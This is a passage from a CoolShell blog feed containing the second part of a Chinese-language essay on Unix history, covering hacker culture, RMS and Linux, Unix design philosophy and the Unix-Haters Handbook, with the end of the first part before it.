href=\"https://coolshell.cn/articles/1283.html\" target=\"_blank\">Linux基金会的广告</a>》、《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/85.html\" target=\"_blank\">Linux Distribution Timeline</a>》）。Linux就像一股清泉流入了所有人的心中，引发了很多的启迪和思考。</p>\n<p><a href=\"https://coolshell.cn/articles/2324.html\" target=\"_blank\"><strong>Unix传奇（下篇） &gt;&gt;&gt;&gt;</strong></a></p>\n<h2><strong>(</strong><strong>转载时请注明作者和出处。未经许可，请勿用于商业用途</strong><strong>)</strong></h2>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/19996.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg\" alt=\"Unix 50 年：Ken Thompson 的密码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19996.html\" class=\"wp_rp_title\">Unix 50 年：Ken Thompson 的密码</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-150x150.gif\" alt=\"vfork 挂掉的一个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_title\">vfork 挂掉的一个问题</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/9917.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"Alan Cox：大教堂、市集与市议会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9917.html\" class=\"wp_rp_title\">Alan Cox：大教堂、市集与市议会</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2322.html\">Unix传奇(上篇)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/2322.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>125</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Unix传奇(下篇)</title>\n\t\t<link>https://coolshell.cn/articles/2324.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/2324.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 09 Apr 2010 00:44:57 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=2324</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>【本文曾于2007年3月于我在CSDN上的BLOG发布，现在我把其搬到酷壳来，一来是觉得这段历史相当传奇，值得大家再看看，二来也和我在酷壳上发布的一些文章相互链...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/2324.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/2324.html\">Unix传奇(下篇)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<div>\n<p><span style=\"color: #888888;\">【本文曾于2007年3月于</span><a href=\"http://blog.csdn.net/haoel\" target=\"_blank\"><span style=\"color: #0000ff;\">我在CSDN上的BLOG</span></a><span style=\"color: #888888;\">发布，现在我把其搬到酷壳来，一来是觉得这段历史相当传奇，值得大家再看看，二来也和我在酷壳上发布的一些文章相互链接。】</span></p>\n<hr />\n<p><a href=\"https://coolshell.cn/articles/2322.html\" target=\"_blank\"><strong>&lt;&lt;&lt;&lt;   Unix传奇（上篇）</strong></a></div>\n<div></div>\n<div>Unix是目前还在存活的操作系统的元老了，走过了40年的历程（参看《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1032.html\" target=\"_blank\">Unix 40年：Unix年鉴</a>》、《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1023.html\">Unix 40年：昨天，今天和明天</a>》）。由它引发的思想变革，对当今计算机文化造成的深远影响。这是一段所有从事计算机行业人员尤其是软件开发人员需要了解的历史。Unix的传奇历史是整个计算机世界文化最具代表性的，它对整个计算机世界文化的影响也是最巨大，最深远的。他给人带来的不单单的对过去的回味，更为我们带来了计算机世界的新思潮。</div>\n<div></div>\n<div>\n<p><strong><a href=\"https://coolshell.cn/articles/2324.html\" target=\"_blank\">下篇</a></strong></p>\n<ul>\n<li>Unix与黑客文化</li>\n<li>Unix的历史教训</li>\n<li>Unix 家族谱</li>\n<li>Unix的特点</li>\n<li>Unix的影响和哲学</li>\n<li>Unix痛恨者手册</li>\n</ul>\n</div>\n<p><span id=\"more-2324\"></span></p>\n<div>\n<ul></ul>\n<p><strong><a href=\"https://coolshell.cn/articles/2322.html\" target=\"_blank\">上篇</a></strong></p>\n<ul>\n<li>Unix起源</li>\n<li>Unix分裂</li>\n<li>Unix的法律纠纷</li>\n<li>GNU开源组织</li>\n<li>Linux横空出世</li>\n<li>Linux今天的领袖</li>\n</ul>\n</div>\n<h3>Unix与黑客文化</h3>\n<p>黑客的文化和Unix的商业化存在着必然的联系。自从Unix出现，黑客文化就与之而来。</p>\n<p>1993初，一个悲观的观察家撰文指出，已经有理由认为Unix的传奇故事连同他带有黑客文明将一同破产。许多人预测，从那时起Unix将在六月内死亡。他们很清楚，十年的Unix商业化，使自由跨平台的Unix梦以失败告终。Unix允诺的跨平台可移植性，在一打大公司专有的Unix版本之间不停地斗嘴中丢失，一个完美的操作系统最终沦为多种版本的一团乱麻，这应该说是人类文明史上的一个重大悲剧。</p>\n<p>在专有软件社会中，只有像微软一样的“集权制，大教堂”生产方式才能成功。那个时代的人悲观地相信，技术世界的个人英雄主义时代已经结束，软件工业和发展中的互联网络将逐渐地由像微软一样的巨型企业支配，再也没有“佐罗”，世界是恺撒大帝的世界，计算机文明将进入黑暗的帝国时代。黑客已经死了，自由不付存在。</p>\n<p>自从Unix出现以来，第一代的Unix黑客似乎垂垂老矣，衣食不饱( Berkeley计算机科学研究组在1994丢失了自己基金)。这是一个抑压的时代。专有的商业Unix的结果证明那么沉重、那么盲目、那么不适当，以致微软能够用那次等技术的Windows抢走他们生存的空间，拿走他们的干粮。黑客世界的残余力量被逼到了世界上的角落里，苟延残喘。</p>\n<p>就在黑客文化日渐衰落之时，美国新闻周刊的资深记者Steven Levy完成了著名的《黑客列传》一书，书中着力介绍了一个人物：Richard M. Stallman的故事，他是麻省理工学院（MIT）人工智能实验室领袖人物，坚决反对实验室的研究成果商业化。他是商业软件社会中坚强的一员，决不随波逐流，建立了全新的黑客文化。</p>\n<p>Richard M. Stallman（他的登陆名RMS更为人熟知）早在1970年代晚期就已经证明他是当时最有能力的程序员之一。Emacs编辑器就是他众多发明中的一项。RMS的目标是将后1980的松散黑客社群变成一台有组织的社会化机器以达到一个单纯的革命目标。也许他未意识到，他的言行与当年卡尔·马克思号召产业无产阶级反抗工作的努力如出一辙。RMS宣言引发的争论至今仍存于黑客文化中。他的纲要远不止于维护一个代码库，已经暗含了废除软件知识产权主张的精髓。RMS通过“自由软件（free software）”让黑客文化更加有自我意识。当然，这个充满魅力又具争议的人物本身已经成为了一个黑客文化英雄。</p>\n<p><em>只有痴迷的“黑客”和具有创造力的怪人结成的反叛联盟才能把我们从愚蠢中拯救出来——他们接着教导我们，真正的专业和奉献精神，正是我们在屈服于世俗观念的“合理商业做法”之前的所作所为。 </em><em>——</em>《<em>The Art of Unix Programming</em>》<em> </em></p>\n<p>RMS让世界上所有的人都知道，入侵电脑系统只是低级不入流的黑客干的事，真正的黑客，是为了自由，为了软件的自由，为了挑战计算机世界中的霸权主义而斗争。他们不是街头小混混，他们更像是绿林好汉，更像是罗宾汉，更像是佐罗。就像渴望民主的人民同专制的政府斗争一样。RMS领导着许多的黑客通过互联网向专有软件发出宣战。</p>\n<p>X Windows是首批由服务于全球各地不同组织的许多个人以团队形式开发的大规模开源项目之一。电子邮件使创意得以在这个群体中快速传播，问题由此得以快速解决，而开发者可以人尽其才。软件更新可以在数小时之内发送到位，使得每个节点在整个开发过程中步调一致。网络改变了软件的开发模式。</p>\n<p>另一方面，RMS的理论体系有许多东西非常有争议，他的GPL被认为是一种“病毒式”的协议，BSD的fans和老牌Unix黑客们认为，他们编写Unix的年头都比GPL声明要长得多，GPL依然有太多的限制，而BSD协议则比GPL更加的自由。另一方面，RMS走向了另一个极端，他是完全反版权的，反商业化的。把软件产品从强制收费推向了强制免费、共享和开源，这也为他带来了许多许多的争议。</p>\n<p>在RMS组织黑客闹革命的年代里，没有多少黑客认同于RMS的理论体系，更多的他们参与GNU只是为了体现那种在互联网上协同工作，令人激动的工作模式。自从GNU设立以来，争议不断，而黑客文化却从未有统一在他的理想体系之下。</p>\n<p>自从Linux出现以后，一个新的黑客领袖出现了，Linus Torvalds的中庸态度网聚了世界上顶尖的黑客，其绕过了GPL和反GPL的派系之争，他使用GNU的工具从而以GPL的“传染性”保护了Linux，但他同时也不承认RMS的理论思想体系，他即开源，又支持商业化。虽然，他没有带给黑客们什么重要的思想体系或统一的价值观，但他整合了全世界黑客的阵营，让所有的黑客的行为都围绕着Linux这一事物进行。他以“用自由软件是因为它运行得更好”轻而易举地盖过了“用自由软件是因为所有软件都该是自由的”。</p>\n<p>1998年初，这种新思潮促使网景公司（Netscape Communications）公布了其Mozilla浏览器的源码。媒体对此事件的关注促成了Linux在华尔街的上市，推动了1999－2001年间科技股的繁荣。事实证明，此事无论对黑客文化的历史还是对Unix的历史都是一个转折点。</p>\n<h3>Unix的历史教训</h3>\n<p>下面的文字出自《<em>The Art of Unix Programming</em>》（Unix编程艺术）。令今天我们所有人所反思。</p>\n<p>在Unix历史中，最大的规律就是： （看看《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1360.html\" target=\"_blank\">谁写了Linux</a>》你就会知道这一规律）</p>\n<p><strong>距开源越近就越繁荣。任何将Unix</strong><strong>专有化的企图，只能陷入停滞和衰败。</strong></p>\n<p>回顾过去，我们早该认识到这一点。1984年至今，我们浪费了十年时间才学到这个教训。如果我们日后不思悔改，可能还得大吃苦头。</p>\n<p>虽然我们在软件设计这个重要但狭窄的领域比其他人聪明，但这不能使我们摆脱对技术与经济相互作用影响的茫然，而这些就发生在我们的眼皮底下。即使Unix社区中最具洞察力、最具远见卓识的思想家，他们的眼光终究有限。对今后的教训就是：<strong>过度依赖任何一种技术或者商业模式都是错误的</strong>——相反，保持软件及其设计传统的的灵活性才是长存之道。</p>\n<p>另一个教训是：<strong>别和低价而灵活的方案较劲</strong>。或者，换句话说，低档的硬件只要数量足够，就能爬上性能曲线而最终获胜。经济学家Clayton Christensen称之为“破坏性技术”，他在《创新者窘境》（The Innovator&#8217;s Dilemma）[Christensen]一书中以磁盘驱动器、蒸汽挖土机和摩托车为例阐明了这种现象的发生。当小型机取代大型机、工作站和服务器取代小型机以及日用Intel机器又取代工作站和服务器时，我们也看到了这种现象。开源运动获得成功正是由于软件的大众化。Unix要繁荣，就必须继续采用吸纳低价而灵活的方案的诀窍，而不是去反对它们。</p>\n<p>最后，旧学派的Unix社区因采用了传统的公司组织、财务和市场等命令机制而最终未能实现“职业化”。只有痴迷的“黑客”和具有创造力的怪人结成的反叛联盟才能把我们从愚蠢中拯救出来——他们接着教导我们，真正的专业和奉献精神，正是我们在屈服于世俗观念的“合理商业做法”之前的所作所为。</p>\n<h3>Unix族谱</h3>\n<p>Unix的故事仍旧延续着……，许多网站也为这段历史留下记录。一个详细记录Unix历史的网站（http://www.levenez.com/unix/），这个网站忠实记载着1969～2005 年Unix发展的大事，而且还有 PDF 档案可供下载，上面有一个庞大的UNIX家族版本树，让人叹为观止。网站的首页陈列每个时期Unix的历史，也代表着无数工程师的心血与努力。</p>\n<p>下面是一个简单的Unix的族谱：</p>\n<pre>     |--AT&amp;T (1969)-----\\\n     |                  |\n     |              V6 (1976)\n     |                  |\n     |              V7 (1979)\n     |                  |\n     |   Novell owns AT&amp;T's Unix (by 1994)\n     |     _____________|____________________\n     |     |       |      |        |         |\n     |    AIX    IRIX    SCO   HP-UX   Solaris 2.X\n     |   (IBM)   (SGI)          (HP)     (Sun)\n     |\n     |\n     |--Berkley (1977)-----\\\n     |                     |\n     |                  1BSD (1977)\nUNIX-|                     |\n     |                4.4BSD (1993)\n     |                     |\n     |                   Net/2\n     |                     |\n     |               4.4BSD-Lite (by 1995)\n     |     ________________|____________________________________\n     |     |       |          |         |          |            |\n     |   SunOS   Ultrix   NetBSD    OSF/1   NeXTSTEP   Mac OS X\n     |   (Sun)   (DEC)   (Various)  (DEC)    (NeXT)    (Apple)\n     |                   (FreeBSD)\n     |\n     |\n     |--Hybrids----\\\n                   |\n                Linux (Various)\n                   |\n                   |____________________________________________\n                   |    |      |          |              |      |\n                   | RedHat  Debian  Mandrake   Slackware    S.u.S.E.\n                   |                          (Walnut Creek)\n                   |\n                   |_____________________________________________\n                       |        |           |          |        |\n                    MkLinux  LinuxPPC  TurboLinux  OpenLinux  CorelLinux\n                    (Apple)                        (Caldera)   (Corel)</pre>\n<p>点些查看《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/85.html\" target=\"_blank\">Linux 分发包族谱</a>》</p>\n<h3>Unix的特点</h3>\n<p>现在的文献中提到Unix基本上是说，由Ken Thompson和Dennis Ritchie共同开发的。而通过历史我们也能发现，Unix的主要是由Ken Thompson写下的。但在学术界，Dennis Ritchie的名字往往被排在了Ken Thompson前面的。这就是因为，Dennis Ritchie不但发明了C语言，而且当时他设计Unix操作系统的设计思想，影响了整个世界，直到今天。</p>\n<p>当时，他们开发UNIX，没有正式立项，是Ken Thompson和Dennis Ritchie等少数几个人偷偷干的，如果一切都要从头从新设计，那几乎是不可能的。所以，Unix吸取与借鉴了Multics的经验，如内核，进程，层次式目录，面向流的I/O，把设备当作文件，……等等。但是Unix在继承中又有创新，比如Unix采用一种无格式的文件结构，文件由字节串加\\0组成。这带来两大好处：一是在说明文件时不必加进许多无关的“填充物”，二是任何程序的输出可直接用作其他任何程序的输入，不必经过转换。后面这一点叫做“管道”(piping)，这就是Unix首创的。此外，像把设备当作文件，从而简化了设备管理这一操作系统设计中的难题，虽然不是UNIX的发明，但是实现上它采用了一些新方法，比Multics更高明一些。</p>\n<p>下面是Unix的特点：（30多年过去了，这些东西早已变成经典）</p>\n<ul>\n<li><strong>Everything (including hardware) is a file<br />\n</strong>所有的事物（甚至硬件本身）都是一个的文件。</li>\n<li><strong>Configuration data stored in text<br />\n</strong>以文本形式储存配置数据。</li>\n<li><strong>Small, single-purpose program<br />\n</strong>程序尽量朝向小而单一的目标设计</li>\n<li><strong>Avoid captive user interfaces<br />\n</strong>尽量避免令人困惑的用户接口</li>\n<li><strong>Ability to chain program together to perform complex tasks<br />\n</strong>将几个程序连结起来，处理大而复杂的工作。</li>\n</ul>\n<h3>Unix的影响和哲学</h3>\n<p>Unix是第三次工业革命中计算机软件领域最具代表性的产物。在这近40年中，由Unix造成的影响是最有深远意义的。就我看来，Unix为软件领域带来了至少以下有积极的东西，由这些东西所引发的直接或间接的事物更是举不胜数。</p>\n<ol>\n<li>软件开发的若干哲学和思想。</li>\n<li>全民参与推动软件，代码共享的模式。</li>\n<li>开启了黑客文化和开源项目。</li>\n<li>免费和商业的完美结合的Linux。</li>\n<li> C语言，而后发展的C++，Java等等类C的语言和脚本。（参看《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1984.html\" target=\"_blank\">C语言的演变史</a>》）</li>\n<li> TCP/IP，其的Socket编程已成为今天通用的网络编程主流。（参看《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1532.html\" target=\"_blank\">到处都是Unix的胎记</a>》）</li>\n</ol>\n<p>不能不说，AT&amp;T虽然发展了Unix，但今天Unix的混乱的局面也和AT&amp;T 有着直接原因。但反过来说，如果没有AT&amp;T的反面教材，今天的GNU/Linux很有可能也不会出现。AT&amp;T究竟是限制了Unix的发展，还是以反面示例促进了Unix社区，已不好评说。今天，软件是商业化好还是开源好的争论还在继续，纵观这几十年来Unix的历史，Linux的划时代地出现。相信你会得出自己的结论。不管怎么样，Unix的经历对计算机领域贡献的不单单是技术，他给我们提供了丰富而生动的教材。特别是Unix引发的哲学，让今天的我们依然受益不浅。</p>\n<p>说到Unix为我们所带来的软件开发的哲学，我必需要说一说。Unix遵循的原则是KISS（Keep it simple, stupid）。在<a href=\"http://en.wikipedia.org/wiki/Unix_philosophy\">http://en.wikipedia.org/wiki/Unix_philosophy</a> 上有很多的基本上大同小异的Unix哲学，都是很经典的。</p>\n<p>Doug McIlroy 是认为UNIX的哲学是这样的：三条哲学，简明扼要，就是这三条哲学贯穿着整个Unix世界。尤其是第一条“do one thing and do it well”真是相当精彩！</p>\n<ul>\n<li><strong>Write programs that do one thing and do it well.</strong></li>\n<li><strong>Write programs to work together.</strong></li>\n<li><strong>Write programs to handle text streams, because that is a universal interface.</strong></li>\n</ul>\n<p>只要是Unix的程序员，他们会比别的程序员在任何时候都会不停地强调着这三条哲学。</p>\n<p>而《<em>The Art of Unix Programming</em>》总结了下面这些哲学，都是至理名言啊。</p>\n<ul>\n<li>Rule of Modularity: Write simple parts connected by clean interfaces.</li>\n<li>Rule of Clarity: Clarity is better than cleverness.</li>\n<li>Rule of Composition: Design programs to be connected to other programs.</li>\n<li>Rule of Separation: Separate policy from mechanism; separate interfaces from engines.</li>\n<li>Rule of Simplicity: Design for simplicity; add complexity only where you must.</li>\n<li>Rule of Parsimony: Write a big program only when it is clear by demonstration that nothing else will do.</li>\n<li>Rule of Transparency: Design for visibility to make inspection and debugging easier.</li>\n<li>Rule of Robustness: Robustness is the child of transparency and simplicity.</li>\n<li>Rule of Representation: Fold knowledge into data so program logic can be stupid and robust.</li>\n<li>Rule of Least Surprise: In interface design, always do the least surprising thing.</li>\n<li>Rule of Silence: When a program has nothing surprising to say, it should say nothing.</li>\n<li>Rule of Repair: When you must fail, fail noisily and as soon as possible.</li>\n<li>Rule of Economy: Programmer time is expensive; conserve it in preference to machine time.</li>\n<li>Rule of Generation: Avoid hand-hacking; write programs to write programs when you can.</li>\n<li>Rule of Optimization: Prototype before polishing. Get it working before you optimize it.</li>\n<li>Rule of Diversity: Distrust all claims for &#8220;one true way&#8221;.</li>\n<li>Rule of Extensibility: Design for the future, because it will be here sooner than you think.</li>\n</ul>\n<p>X Windows 的设计者 Mike Gancarz 给出了下面九条哲学思想</p>\n<ol>\n<li><em>Small is beautiful.</em></li>\n<li><em>Make each program do one thing well.</em></li>\n<li><em>Build a prototype as soon as possible.</em></li>\n<li><em>Choose portability over efficiency.</em></li>\n<li><em>Store data in flat text files.</em></li>\n<li><em>Use software leverage to your advantage.</em></li>\n<li><em>Use shell scripts to increase leverage and portability.</em></li>\n<li><em>Avoid captive user interfaces.</em></li>\n<li><em>Make every program a filter.</em></li>\n</ol>\n<p>在今天，这种思想依然被传承着，在影响着世界上各个角落的每一个程序员。</p>\n<h3>Unix痛恨者手册</h3>\n<p>这里还需要值得一提的是一本叫《The Unix-Haters Handbook》，中文译做《Unix痛恨者手册》。可以在这里下载：<a href=\"http://research.microsoft.com/~daniel/uhh-download.html\">http://research.microsoft.com/~daniel/uhh-download.html</a>。其中以调侃的语气声讨了Unix的种种不是。虽然这是十年前的一本书了，但还是值得一读。这本书指出了许多Unix的设计错误，指出了种种看起来很合理的设计走向了荒谬，还这样调侃了C语言——“如果说C语言给足了让你上吊的绳子，那么，C++在给了你足够的绳子把你的邻居全部捆起来之后，还给了你足够的绳子让你为一艘小帆船装上帆，最后你还有足够的绳子把自己吊死在帆船的桅杆上”。呵呵，相当的尖酸刻薄吧。里面有一句对操作系统的评价是这样的：“The fundamental difference between Unix and the Macintosh operating system is that <strong>Unix was designed to please programmers</strong>, whereas the Mac was designed to please users. (Windows, on the other hand, was designed to please accountants.”（Windows设计给会计人员？！连计算机用户都不是了，呵呵）</p>\n<p>不过，我可以感觉得到这本书的作者在书中对Unix的感情是比较复杂的，爱恨交加，在书的最后有这样一句话“would anyone have spent this much time and effort writing about how much they hated Unix if they didn&#8217;t secretly love it? I&#8217;ll leave that to the readers to judge, but in the end, it really doesn&#8217;t matter: If this book doesn&#8217;t kill Unix, nothing will”。是的，如果Unix能够存活这么长的时间，那么，不会有什么东西可以把他消灭了。</p>\n<p>从《Unix痛恨者手册》这本书，再加上Unix的历史，我们可以感到Unix的经历的风风雨雨，在Unix上面出现有种种教训，近40年的历程，Unix历经磨难，几近夭折，一路走来的确很不容易，让人由衷感叹。今天的Unix，今天的软件工业和以前相比已是不可同日而语。很大程度上，这些都要归功于这个充满苍桑的Unix。</p>\n<h3>后记</h3>\n<p>在中国我们开始学习计算机的时候，我们被Microsoft所创造的文化所笼罩里。就在Unix出现革命性的转变，在Unix影响计算机世界文化的那几年里，科班出生专业开发人员学习的是MS-DOS和微软的文化，我们犹如一个井底之蛙一样，对外面的翻天覆地的变化无动于衷。微软创造的文化在我们这里尤其地根深蒂固，我们几乎忘记了另外一边的Unix（参看《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1032.html\" target=\"_blank\">Unix 40年：Unix年鉴</a>》、《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/1023.html\">Unix 40年：昨天，今天和明天</a>》）。</p>\n<p>在那充满激情的Unix的岁月里，大伙为了科研目的或个人兴趣在Unix上进行各种开发，并且不计较金钱利益，将这些源码公开，互相共享。在那里，开发和自由成为主题，正因为如此，当今的世界才如此丰富多采。在40年Unix文化和技术积淀的里面，蕴涵着比较纯正的计算机文化和思想。</p>\n<p>纵观整个Unix的历史过程中，许许多多的程序员、工程师前辈们在Unix中所摸爬滚打，他们的辛勤地、他们呕心沥血地跟随Unix，努力建立一个繁荣的计算机世界的文明。Unix不是一个简简单单的操作系统。有人说，Unix是程序员设计给程序员的，一点没错。Unix的近40年历史造就了它的博大精深，它给程序员们带来的绝不仅仅只是技术上的知识。它的失误，它的无奈，它的精神，它的荣耀，它从技术和思想上都启迪着我们。对于程序员来说，学习Unix就等同于向前辈程序学习。无论你是什么样的程序员，你都应该了解Unix，这是开发人员的根，前面的开发者造就了它，而它又在引领后面的开发人员，它是前辈程序员们交给我们的一份礼物，一个接力棒，它是开发人员赖以生存的土壤，是上一辈程序员留给我们这一代程序员开启未来的钥匙。Unix就像一个程序员教父一样，理当受到我们的尊敬和崇拜。</p>\n<h3>参考资料</h3>\n<ul>\n<li>Peter H. Salus 的《<em>A Quarter Century of UNIX</em>》，这被认为是UNIX的标准历史。</li>\n<li>Eric S. Raymond 的《<em>The Art of Unix Programming</em>》</li>\n<li><a href=\"http://www.wikipedia.org/\">http://www.wikipedia.org/</a> 维基百科</li>\n<li><a href=\"http://www.computerhope.com/history/\">http://www.computerhope.com/history/</a> Computer History</li>\n<li><a href=\"http://www.lotsir.com/Blog/article.asp?id=494\">http://www.lotsir.com/Blog/article.asp?id=494</a> Lotsir&#8217;s Blog — 《<em>Unix&amp;Linux</em><em>历史重温</em>》</li>\n<li><a href=\"http://www.aka.org.cn/Docs/hacker-history.html\">http://www.aka.org.cn/Docs/hacker-history.html</a> 《<em>黑客文化简史</em>》</li>\n<li><a href=\"http://www.simson.net/ref/ugh.pdf\">http://www.simson.net/ref/ugh.pdf</a> 《<em>The UNIX-HATERS Handbook</em>》</li>\n<li><a href=\"http://free-electrons.com/doc/free_software/img0.html\">http://free-electrons.com/doc/free_software/img0.html</a> 《<em>GNU/Linux Free Software</em>》幻灯片</li>\n<li><a href=\"http://cm.bell-labs.com/cm/cs/who/dmr/hist.html\">http://cm.bell-labs.com/cm/cs/who/dmr/hist.html</a> <em>Dennis M. Ritchie </em>《<em>The Evolution of the Unix Time-sharing System</em>》</li>\n</ul>\n<h2>(转载时请注明作者和出处。未经许可，请勿用于商业用途)</h2>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-150x150.gif\" alt=\"vfork 挂掉的一个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_title\">vfork 挂掉的一个问题</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/9104.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/sed-superman-150x150.png\" alt=\"sed 简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9104.html\" class=\"wp_rp_title\">sed 简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/awk-150x150.jpg\" alt=\"AWK 简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_title\">AWK 简明教程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2324.html\">Unix传奇(下篇)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - 